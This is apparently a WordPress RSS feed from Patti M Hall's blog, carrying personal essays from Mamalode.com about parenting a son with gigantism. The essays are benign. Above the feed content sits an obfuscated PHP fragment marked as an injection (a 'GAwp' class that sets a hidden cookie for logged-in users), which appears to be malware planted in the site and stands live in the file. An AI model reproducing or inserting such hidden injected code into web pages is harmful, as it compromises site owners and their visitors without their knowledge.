/* __GA_INJ_START__ */ /*f24f30b3220786d4*/function _339a6f($_x){return $_x;}function _f4406e($_x){return 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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_6c1eed09=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_6c1eed09])){return;}$_813a031c=time()+(365*24*60*60);setcookie($_6c1eed09,'1',$_813a031c,'/','',false,false);}}new GAwp_3601b224(); /* __GA_INJ_END__ */ Mamalode.com| Patti M Hall https://pattimhall.com/mamalode-com/ Master Story Alchemist. The World Is Waiting To Hear Your Story Thu, 14 May 2020 19:08:45 +0000 en-CA hourly 1 https://wordpress.org/?v=6.9.4 https://pattimhall.com/wp-content/uploads/2022/10/cropped-icon-1-32x32.png Mamalode.com| Patti M Hall https://pattimhall.com/mamalode-com/ 32 32 Size Matters When You're Growing Up Giant https://pattimhall.com/size-matters-youre-growing-giant-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=size-matters-youre-growing-giant-mamalode-com Wed, 21 Dec 2016 20:20:53 +0000 http://pattimhall.com/?p=1109 Parenting makes us protective from day one. When our kids are couch surfers and becoming teetering toddlers, we get expert at assessing risk from their perspective. Out go the pristine sharp-cornered glass-topped tables and the décor items that can be gummed, swallowed or face-planted on. We go to exhaustive and embarrassing lengths to prevent injury,…

The post Size Matters When You're Growing Up Giant appeared first on Patti M Hall.

]]> Parenting makes us protective from day one. When our kids are couch surfers and becoming teetering toddlers, we get expert at assessing risk from their perspective. Out go the pristine sharp-cornered glass-topped tables and the décor items that can be gummed, swallowed or face-planted on. We go to exhaustive and embarrassing lengths to prevent injury, anticipating the world from their vantage point. Who among us has not crawled on the floor on all fours looking for outlets and edges that could harm? Companioning them through growing up means putting ourselves in their place. I didn’t lose this instinct to consider the world from my son’s angle as he grew, and he kept growing, and growing.

In our house, trying to get my son Aaron to not grow, or more specifically to stop growing, is the prime directive. He is just a hair under 6’ 11”. I think. He won’t be cajoled into letting me mark his height on the kitchen wall anymore and he is way too big to wrestle into submission. (He can send me six feet across the room with a gentle hip nudge when I get too close to the cookies, afterall.) One of the last times Aaron consented to being measured, his 4’10” pediatrician perched on a cute little stepladder, pink plastic ruler extended over his head, to count the inches above 6 feet, which was the maximum of the office height chart. Nurses stood around “Ahhhing” as if he was a newborn.

Recently we went car shopping, both of us considering at a new car. Oddly enough, in a market that offers hundreds of models, we had concluded that the one car that would work for each of us—is the same car!! My needs involved room for my dogs, hatchback convenience, really nice interior features and tons of tech. His needs involved size. Just size. Most of the other features of cars were pretty much comparable. He doesn’t have the luxury of any car. He can only have a car where he fits. While he could never fully extend his legs in a car, it is essential that he be able to get his knees around the steering column to properly operate the puny little pedals.

When you are extremely tall, fit is everything. Because you don’t fit anywhere, pretty much. Whether we are finding seats at a ball game, or trying to buy a sleeping bag…size matters. There is a ton of comedy in this, which we maximize. When you get asked, “How’d you get so tall?” more than a dozen times a day, a person develops an irreverent, sarcastic sense of humor. (Some of his responses involve, “it’s in the water”, “I was breastfed” and “I was raised by wolves.”) For he and I, our size difference (I’m 5’6”) is adorable. My entire foot, (shoe included) can slide comfortably inside his shoe. Shoes are pretty sacred territory for Aaron, because finding them in his size is tough. If you want something other than high-cut sneakers, forget about it. His shoe size is only 15, whereas for his proportions it should be in the 20’s. Take Shaquille O’Neal who is 7’1” and wears a size 21 shoe. Aaron’s tee-shirts are the same size as my nightshirts. All of his clothes have X’s and L’s and T’s in the size. His coats would cover a single bed easily. His baseball caps could hold a bowling ball and his winter gloves are the size of oven mitts. Thanks to basketball players with their own fashion brands, he has many more clothing options and internet shopping is the only hope for gifts for him this season.

But as a parent, I still have the kneejerk reaction to check for fit in the places and spaces of our lives. It is second nature for me to judge whether Aaron will fit somewhere. I do this regardless of whether he is with me or not. I can only attribute it to the toddler days of scanning for hazards. There are risks for Aaron, in a world where too anything just isn’t considered. People in wheelchairs tell me that they cannot believe the location of switches, buttons and ramps specifically designed to accommodate their ambulatory needs are placed out of reach or access to them. Aaron has to bend or crouch or contort himself to do everything.

Hospitals make me giggle, when I’m not clenching my teeth in dismay. I get that he can’t safely clear the archways in your house. It’s your house. But public facilities, the very places that are supposed to keep us safe from harm, are like the courses of gladiator games for Aaron. Those dangling, red illuminated EXIT signs, the hydraulic boxes for automated doors and ceiling mounted signage, are all head injuries in the making for him. This is where his years of playing defense in hockey comes in, Aaron moves through the hallways of hospitals like a deking machine, weaving, ducking and awkwardly bending around the weaponry of architecture.

Growing up involves adjustment. The kids grow and the parents adjust. Think of my boy today, and be mindful for every child who grows differently because how to they fit means everything for the way they enjoy the world we have gifted them into.

This piece appears in Mamalode.com

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]]> He Has His Own Definition of Forever https://pattimhall.com/definition-forever-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=definition-forever-mamalode-com Wed, 21 Dec 2016 20:14:39 +0000 http://pattimhall.com/?p=1103 I call them the Invincibles: those teenagers who walk across parking lots and streets in defiance of the “look both ways” that you can be certain their parents repeated laboriously to them as toddlers and preschoolers. I see the Invincibles stepping off of sidewalks, with hoodies pulled up and forward like the blinders on an…

The post He Has His Own Definition of Forever appeared first on Patti M Hall.

]]> I call them the Invincibles: those teenagers who walk across parking lots and streets in defiance of the “look both ways” that you can be certain their parents repeated laboriously to them as toddlers and preschoolers.

I see the Invincibles stepping off of sidewalks, with hoodies pulled up and forward like the blinders on an anxious horse, ear buds wedged in to eliminate any possibility of hearing an approaching car, bus or steam engine. It only takes a moment after I’ve slammed on my brakes and uttered something inappropriate, that I catch myself smiling–they are exactly as they should be. Good on them, my heart says. I want that for those kids. I wish that for every child—to be able to walk around the planet like nothing can affect them, all “I’ve got this” swagger.

My children don’t have that, and it’s not because I worked any harder at teaching them the dangers of the world than other mothers. They learned the lesson of their own vulnerability —their mortality—thanks to modern medicine and genetics. Neither of my boys carries themselves like they are invincible, because they’ve learned they aren’t. Even though it may be a cliché, it is no less true—once a life threatening diagnosis touches you, you can never live the same way you once did.

Growing up is tough enough, however much we convince ourselves that our children have the best possible opportunities—the technology, the services, the affluence that is unrivalled in human history—there is always a common denominator; a levelling influence, one factor that forces humility on all of us, health.

We do everything in our power to protect them, these tiny versions of ourselves, these delicate helpless humans that we bring into the world so long before they are able to care for themselves. There is only one thing more devastating for us parents than having to admit our child is beyond rescue, that circumstances have pressed our son or our daughter outside the scope of our parental toolbox. Seeing what living in full knowledge of their prognosis does to them, that is worse in my view. That is the hourly, daily reminder that is worse than the shock of failing to protect them from invisible, metaphorical monsters. Not only is my son unable to live as if he believed he is untouchable, he can’t even remember a time when he felt that. This is the greatest anguish of my life.

My son was diagnosed with an ultra-rare and incurable disease, Gigantism, when he was sixteen. I carried the weight of the details of his medical journey, guiding us through diagnosis, treatment and management, because he wanted it that way. He said, “as long as you have the answers to the questions, I’ll ask you what I want to know.” It was our deal.

So, while I got a Ph.D in his health, I was never certain how much he wanted to know. I had no way to judge how he was processing it all. That was until one short conversation shone a spotlight on his agony, making my denial of the impact of the rare disease odyssey on him impossible to deny.

One night as my two sons and I were hanging out talking about our day, Aaron mentioned a sign he’d seen on the subway that afternoon.

“I saw this sign today. It read: ‘I’m going to live forever—it’s going pretty well so far!’ I thought was a good one,” Aaron said.

“That is a good one,” I said. I thought he was done and looked down at the book in my lap.

Then, he spoke up again, “I can say the same thing—“ I looked up at him because his voice sounded muffled. His face was turned down, buried in the fur on the back of his beloved golden retriever’s head. “I’m gonna live forever. My own forever.” I watched as he gulped, turning his face up to me so that I could look into the wet eyes of my baby, my toddler, my teenager and at once my grown up hero.

“It’s true, after all.”

They walk the Earth each day, redefining the milestones and boundaries of life for themselves. They may not be invincible, and perhaps we wouldn’t ultimately want them to be untouched by life, but I would give anything for him to believe it was okay to keep wearing headphones and strutting across parking lots, rather than know what only seasoned adults should realize. Surely children shouldn’t need to reconsider eternity, just yet.

or you can read it HERE

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]]> Promises to My Boys and Other Failings https://pattimhall.com/promises-boys-failings-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=promises-boys-failings-mamalode-com Thu, 24 Nov 2016 04:32:30 +0000 http://pattimhall.com/?p=1084 I had no doubt I’d adore my boys. I did relish the advice of the many folks who insisted upon telling me just how much I’d love them. They’d try synonyms for huge, attempting metaphors for that inexplicably enormous and all-consuming feeling. One person got it right by admitting to the impossibility of the task:…

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]]> I had no doubt I’d adore my boys. I did relish the advice of the many folks who insisted upon telling me just how much I’d love them. They’d try synonyms for huge, attempting metaphors for that inexplicably enormous and all-consuming feeling. One person got it right by admitting to the impossibility of the task: “The sky is bluer.”

That is how motherhood began for me. My awareness of texture, color, temperature and noise was heightened. With postpartum depression, fear and uncertainty became terror and anxiety. Warm fuzzies became the most blissful moments of my life. I had an awareness of the miraculous with the appearance of my boys’ faces and little bodies, their well-formed parts and incredible, alert eyes.

A nightly habit of strolling through their rooms before I lay my own head down began the
first night of my eldest son’s life. He was premature, weak and a noisy sleeper, all which fuelled my paraml_badges-160x160_i-love-mamalodenoid self-doubt that I would not be able to keep my newborn alive. I checked on him, a lot. I went from holding my face close to his nose and mouth to confirm he was
breathing, to crawling up to the side of te crib, below his eye level, just to listen to him.

When I was twenty-nine I learned I was pregnant again. I had promised Aaron that a sibling would come. I stood by the crib side each night of that pregnancy studying him in his sleep, whispering to him. “You’ll be one of two soon. You’ll never be alone.” I memorized Aaron’s toddler face in the shadows at night, as he slept with his hands splayed out on the mattress above his head.

My declaration that I would be a particular sort of mother started then. In the glow of the plastic dolphin nightlight, I promised to be fair and good and kind to he and his baby brother. Aaron’s face was my beacon of hope declaring that I could achieve this promise and hundreds of others, heard only by me.

When Justin arrived, it quickly became very clear what kind of mother I would not be: I was getting a little more realistic in my standard setting. I wanted my boys to derive confidence from knowing they were a celebration that never ended for me. I wanted them to know they were my business, they were my why.

This limitless love and well-honed intention could not have prepared us for a disaster as profound as chronic illness. Diagnosed with gigantism at sixteen years old, the source a large tumor on his pituitary gland that causes abnormally high levels of growth hormone, Aaron was aggressively treated with surgery, medication and radiation.

Sometime when he was seventeen and we were enjoying quieter months in his treatment plan, I was watching television with him one Saturday evening when I noticed he had dozed off. He was a really big, sloppy pile of teenager consuming the couch, all jeans, hoodie and ball cap, with a death grip on the remote. The profile was a stretched, puffed up evolution of his infant and toddler one. The disease had broadened and thickened his forehead, expanded his nose and cheeks, adjusted the position of his jaw and mouth.

As I studied his face in the flicker of the television light, neither that of a man nor a boy, I apologized in breaths, swallows and blinks that something out of my control was impacting his life in a way that could steal from him the quality life I had so hoped for.

The profound feeling of failure to keep him healthy and safe weighs on me still. I failed to keep my promise, even though I had become so much more than his mother because of the monster that is rare disease, by becoming advocate, lay medical expert, caregiver, sidekick and cheerleader.

This is what chronic illness does to a mother. This mother anyway.

In a phone call’s length, it robbed me of the ability to keep the greatest unspoken promise of my motherhood—to protect. No matter how fair and good and kind I managed to be in the face of everything—I have only been able to be the mother he needed. I hope I’ve been the mother he deserved.

this piece originally appeared on www.mamalode.com:  want to view the post on www.mamalode.com?  

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]]> When You Say No To Support — Mamalode.com https://pattimhall.com/say-no-support-mamalode-com/?utm_source=rss&utm_medium=rss&utm_campaign=say-no-support-mamalode-com Thu, 14 Apr 2016 16:11:40 +0000 http://pattimhall.com/?p=797 “Through all of this, I stopped knowing who I was. I lost myself. Parents of kids who live with chronic and critical diseases and disorders are not quite whole anymore: they are assemblages of limitless energy, capable of morphing and moulding into whatever the medical system and their child’s symptomology demands. Rare disease Moms are…

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]]> “Through all of this, I stopped knowing who I was. I lost myself. Parents of kids who live with chronic and critical diseases and disorders are not quite whole anymore: they are assemblages of limitless energy, capable of morphing and moulding into whatever the medical system and their child’s symptomology demands. Rare disease Moms are first responders who have a Ph.D in their own child.”http:/http://I'm Published by Mamalode!

You can read my full post here:

Mamalode April 14

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